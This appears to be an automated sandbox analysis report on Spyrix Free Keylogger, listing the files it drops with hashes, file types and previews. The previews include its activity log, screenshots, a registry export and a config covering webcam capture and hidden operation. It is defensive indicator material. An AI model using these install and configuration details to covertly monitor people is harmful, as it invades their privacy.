Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\45567.log

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	566
Entropy (8bit):	5.43040401438845
Encrypted:	false
SSDEEP:	12:HWg7CZA92rG5ptAjviQggiG992rLf5+LR7/ZggiYnf3fd:HWgmDIyJlg3f5+V/ZlNnvfd
MD5:	B65ADB2DF2B399BA83F49D3088954696
SHA1:	F53E94063FCC610D483372AE9210739E4FC9DC9F
SHA-256:	5369AAB8BF4AD48AEFF237D987901ED66FA1802E467FD02D53CD5C2E997BE24F
SHA-512:	E7648D6966E4A1304FADAC14B4ADAC6E3E50D90CE64A1C3BAC1B8E72C624D3EF5AA0F32F5D11AE8B7551C3C6D65EC0E10D3651AF76E87F865992879D5073DC3B
Malicious:	false
Reputation:	unknown
Preview:	.DAYLY LOG..ACTIVITY;45567.0089723727;;;ID: 51 Start of User Session;user..APP;45567.0091123032;chrome.exe;Dashboard - Google Chrome;;user..PRG_RUN;45567.0091123032;chrome.exe;Google Chrome;C:\Program Files\Google\Chrome\Application\chrome.exe;user..SCREENSHOT;45567.0091360301;chrome.exe;Dashboard - Google Chrome;ID: 31 Window Change;user..APP;45567.0091449884;explorer.exe;Program Manager;;user..PRG_STAT;45567.0091449884;explorer.exe;Program Manager;[0,0];user..SCREENSHOT;45567.0091768171;explorer.exe;Program Manager;ID: 31 Window Change;user..

C:\ProgramData\Spyrix Free Keylogger\logs\45567.wdb

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3013000, file counter 9, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.2525565052871233
Encrypted:	false
SSDEEP:	48:T2uEu/2vjviolu1o7f2K5Z7U+AsekpIoQ:iuEJiWu1Sfb5uVsekS
MD5:	7F8E68BE8DDE46A784C1A2E6FC36A3EA
SHA1:	05EB586BE63763A0E81354AFC931EA887B69C6F0
SHA-256:	2A86CF5257F3BE99F3F08213C07E333EC08C64BC709A0F0D22A99E93C533C75D
SHA-512:	9885C6063ED78A0F4CFBD7238BC673444497505330990EB12F7C60238FC7FA65E4F64A5786A0C536ACB15A12293F4CD4D4A1CFA05DDDA14F7A827519205F7944
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................-.............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\45567.wdb-journal

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.1105562342158781
Encrypted:	false
SSDEEP:	48:7MI9Polu1o7f2K5Z7U+AseqtnqZEu/2vjx:7NWu1Sfb5uVseqVaET
MD5:	7B7FA94E8EDAE4F2237525EF67748951
SHA1:	48797C280735ADA5E29909F40B87C6B1F588957A
SHA-256:	E15D6541E84EEE2387DED85373A808BB8177C142A935335D86C34D88AF8AB19E
SHA-512:	D96136FD83C98D2FAC4C9F0CD38F8A51F8ECB8FC6FCAB2DBFB30D21409C3D5F9491B7CCE7BD2A993803C05FC07BA20DE1C4156395637D132EB1A9A21219CC332
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....$N............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Y..........u.Y................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\logs.dat

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.550536334951132
Encrypted:	false
SSDEEP:	3:DpRRLCBxr5BnWyCCBxrlBQUrdA9Tm:UB/p4CBxyTm
MD5:	66E4B82D1FCEB1D98BDCD830BFB6C3D1
SHA1:	85FEC51AA8C5A055FC1E54A4216556C5E24A34EB
SHA-256:	0868AA4A170B2646AFC94C5B5E8DCBF15CE72BD7E866DA2CA152FDFDE2E0E09B
SHA-512:	9D35B3CFD2BAB6079D2069F0F3F0A0307C37164BA3BA5A97ACB8CFA6040D7B6493452D9C2AF6DBF02924FB03F1F1A62AA68C11AC773271E1B468AD2A62B18ABD
Malicious:	false
Reputation:	unknown
Preview:	[Logs]..FirstLogName=45567.log..AllSize=0..LastLogName=45567.log..CLog=45567.log..CSize=566..

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0091360301.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	37068
Entropy (8bit):	6.735177794750783
Encrypted:	false
SSDEEP:	384:x/uaHixYMdGuZZZZI3Gl9ZdjK4QQcIlH8NJT/UgPPmulXXL2:xWaHindGuZZZZI3GMVLIMJPPmU2
MD5:	BA535C812B6296F2A146205E29032CAA
SHA1:	7572C340A7F0E833ABD597731F5DECC8374A9DDD
SHA-256:	614A1C24C8F9CD2B6E856D5795CFB9D63D05A031DF101C51D671BC044E245DA7
SHA-512:	40B06F25A025EF5B6BDF02CB09E97B35CA086B1C992857C37752FAA55CF4AA2D4AE0C683A41A82A1D1469BBC3590DE9132DEB0F1F6B473486DB166545B0665F3
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv................................................................."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.JJZC]...f...G$....>..._.d.#eE.P.&kC.Q.....(......=......._.~t}./..:=......3Z.b.....E...G.A.dg.....k..Q.....P{....5..(......_.~t{T..F~h.h}./..:>..._........3Z.b.....C...G.A.dg.....k..P......P{...f.>..._.!......uWA....h.^...:?...o.......7......3W.#.o..P..........3?4f.>..._..b.....B.,......C...G...k...,......C...G...k...,......C...G...k...,..&kG.

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0091768171.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	39106
Entropy (8bit):	6.9149221024415075
Encrypted:	false
SSDEEP:	384:xRZZ+Bzk2OELP+8Awb3nDCIpaXtYQkHQEHvyGkwNM3rX0NpvFCBleAXpXXK:xozkTELG3iNQkHRHq/SE+pkBlesE
MD5:	833FAD81E89441C26790E8267114638A
SHA1:	C1C4C8CFADB2DFB333D01031D8DE82D6AD2C47C4
SHA-256:	666E553A7AD6CF0B3A48607E602F6C8E302AB02B0F89E49276EDFBE8FF16B0E7
SHA-512:	6D54CCF82BB4C0F481AEC6A49C6B98B2C37D27CAA15A001D7F35484D415095FB599C490C92C75663792FA90B615AD9D6591A0AECC5C450593E51373B5BCC4587
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv................................................................."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.JJZC]...f...G$....>..._.d.#eE.P.&kC.Q.....(......=......._.~t}./..:=......3Z.b.....E...G.A.dg.....k..Q.....P{....5..(......_.~t{T..F~h.h}./..:>..._........3Z.b.....C...G.A.dg.....k..P......P{...f.>..._.!......uWA....h.^...:?...o.......7......3W.#.o..P..........3?4f.>..._..b.....B.,......C...G...k...,......C...G...k...,......C...G...k...,..&kG.

C:\ProgramData\Spyrix Free Keylogger\scr\scr.dat

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	23
Entropy (8bit):	3.969001629875993
Encrypted:	false
SSDEEP:	3:ELW12fbUiy:110b8
MD5:	F4C12EB85C9872030BEAE3B510CCCE87
SHA1:	0065FFC4EB0E2350D04CC8635956DD0215F19607
SHA-256:	396044CBFE8B3CC422CCE600750B628B1E76AF56FB971AE940569DD450242F38
SHA-512:	36AE7F62F5BE2FC2BA59A65318E1FAA4C029CA2FB17CA487C880FE94CE06B64ACCD05D7F4ADEA0CD06E384F1B306D3D691A80F5DC1923B3E4DF440E123155A53
Malicious:	false
Reputation:	unknown
Preview:	[Screens]..Size=76174..

C:\ProgramData\Spyrix Free Keylogger\temp\desktop\Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Oct 2 03:12:36 2024, mtime=Wed Oct 2 03:12:46 2024, atime=Mon Sep 23 18:21:00 2024, length=5346216, window=hide
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	3.66410355425552
Encrypted:	false
SSDEEP:	48:8e4ZGy0XERQj+mj9k+mE9k+m9kWNH+m9iEg:8Oywj+wk+Hk+yt+VE
MD5:	921B226E9A5CC22C6514DCAC1EDB7865
SHA1:	49305887B11BF2505A4FC630807FE0CEC05C16E3
SHA-256:	88CBBF5085BA4BDC0A8F74D7D2DDD81664965194DAD4D70F241BCCD00AD1EF0A
SHA-512:	DB46DB78D522F146850A61B4FC80362D9456B2468536F0F765A97E2401E86B6FB06E3D9D7A9606143B4A9261EDBA0E1A35AB126E22B05A87437FC963D93A2A1D
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ..4..O....a:CV..............Q..........................P.O. .:i.....+00.../C:\...................`.1.....BY.!. PROGRA~3..H......O.IBY.!....g.......................D.P.r.o.g.r.a.m.D.a.t.a.....j.1.....BY.!. SECURI~1..R......BY.!BY.!............................D.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BY.!. {827D2~1..~......BY.!BY.!...........................3..{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....Z.2...Q.7Y.. spkl.exe..B......BY.!BY.!..............................s.p.k.l...e.x.e.......~...............-.......}............i.v.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe..I.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.s.p.k.l...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.O.C.:.\.P.r.o.g.r

C:\ProgramData\Spyrix Free Keylogger\temp\logger.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [System]
Category:	dropped
Size (bytes):	1891
Entropy (8bit):	5.269193549118082
Encrypted:	false
SSDEEP:	48:HG9ahTFnspiSiYymZDiSiYPZCZr4sP5vluoLa37ap1ZCZr4AyPp4L5fDiHwl:HG988jCZMsP5v9aKCZMAh7iHA
MD5:	D65185A31D95B7D7C74FBA282D1F34E6
SHA1:	85C2F9E792CA6CD7591C1DE122EE60010730A7F1
SHA-256:	AC8D4D79709A079B1BBB6BD47972E15BC6785314660BA5ACB4A417ABDFDEBE6C
SHA-512:	DCE93CF0F0CD719B8277F606DF207AA645B6868195AD75AE699F38742A9136D0AE8EE5B3F09833C643C548659B743BFEA61BF33FAE803A65E450432FF609A493
Malicious:	false
Reputation:	unknown
Preview:	[Interface]..lngfile=english.lng..skinfile=Default.skn..[System]..Run1=0..hide=0..prg_ver=11.6.22..tid=-1..lt=..Users=Administrator,DefaultAccount,Guest,user,jones,WDAGUtilityAccount..AllUsers=Administrator,DefaultAccount,Guest,user,jones,WDAGUtilityAccount..mstatus=1..KDelay=5..hide_p=0..hotkeyid=0..runcmd=runkey..LocalSave=0..[WEBDelivery]..preg=..comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158..wsa=7B42C3A0C386750D76C29FC3862A..Enable=0..User=..Password=PIH:..Interval=5..[SnapShot]..AllWebCams=-=First Active WebCam=-..jsAllWebCams=["-=First Active WebCam=-"]..atDrive=1..atPrinterJob=1..atStart=0..atActivity=0..atTimer=0..atLevel=0..Level=50..Interval=10..WebCam=..[VideoRec]..AllWebCams=-=First Active WebCam=-..jsAllWebCams=["-=First Active WebCam=-"]..atStart=0..StartDuration=0.5..atActivity=0..ActivityDuration=0.5..atTimer=0..Interval=30..IntervalDuration=0.5..atLevel=0..Level=30..LevelDuration=0.5..WebCam=..[Window]..Top=50..Left=50..Width=1280..Height=620..BottomHei

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid

Download File

Process:	C:\Windows\SysWOW64\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	3.7426564119839214
Encrypted:	false
SSDEEP:	48:tKleUhKVfcfSOMokHSOMSdLianNHMSOMadjHMSOMadvAcdqcTc20rIO:Sh0UKTy2iaNJCjJCvzdNoNIO
MD5:	0E5D102AF9193EBCA229F1E80A7253B7
SHA1:	58A8093057AE8EA77E0E3E5190F00B659D5EC249
SHA-256:	C2D11CFC4A41608AE376483FA7AA9EF8EB2EE4288BB1EBA06360744371D96A3B
SHA-512:	3D9B796CC824A33B9179D35C6209B460C73485F1F47F5135BA872E5F832F4F236CBB6354603EB38EF44AEF1A8E620CDDC4F4CBCDA24235D3D2BD6E4254535C0E
Malicious:	true
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.C.u.r.r.e.n.t.V.e.r.s.i.o.n.\.U.n.i.n.s.t.a.l.l.\.S.p.y.r.i.x. .F.r.e.e. .K.e.y.l.o.g.g.e.r._.i.s.1.].....".I.n.n.o. .S.e.t.u.p.:. .S.e.t.u.p. .V.e.r.s.i.o.n.".=.".5...5...9. .(.u.).".....".I.n.n.o. .S.e.t.u.p.:. .A.p.p. .P.a.t.h.".=.".C.:.\.\.P.r.o.g.r.a.m.D.a.t.a.\.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.".....".I.n.s.t.a.l.l.L.o.c.a.t.i.o.n.".=.".C.:.\.\.P.r.o.g.r.a.m.D.a.t.a.\.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.\.".....".I.n.n.o. .S.e.t.u.p.:. .I.c.o.n. .G.r.o.u.p.".=.".S.p.y.r.i.x. .F.r.e.e. .K.e.y.l.o.g.g.e.r.".....".I.n.n.o. .S.e.t.u.p.:. .U.s.e.r.".=.".h.u.b.e.r.t.".....".I.n.n.o. .S.e.t.u.p.:. .L.a.n.g.u.a.g.e.".=.".e.n.g.l.i.s.h.".....".D.i.s.p.l.a.y.

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-9MMFB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-SD2OR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-SH1BS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
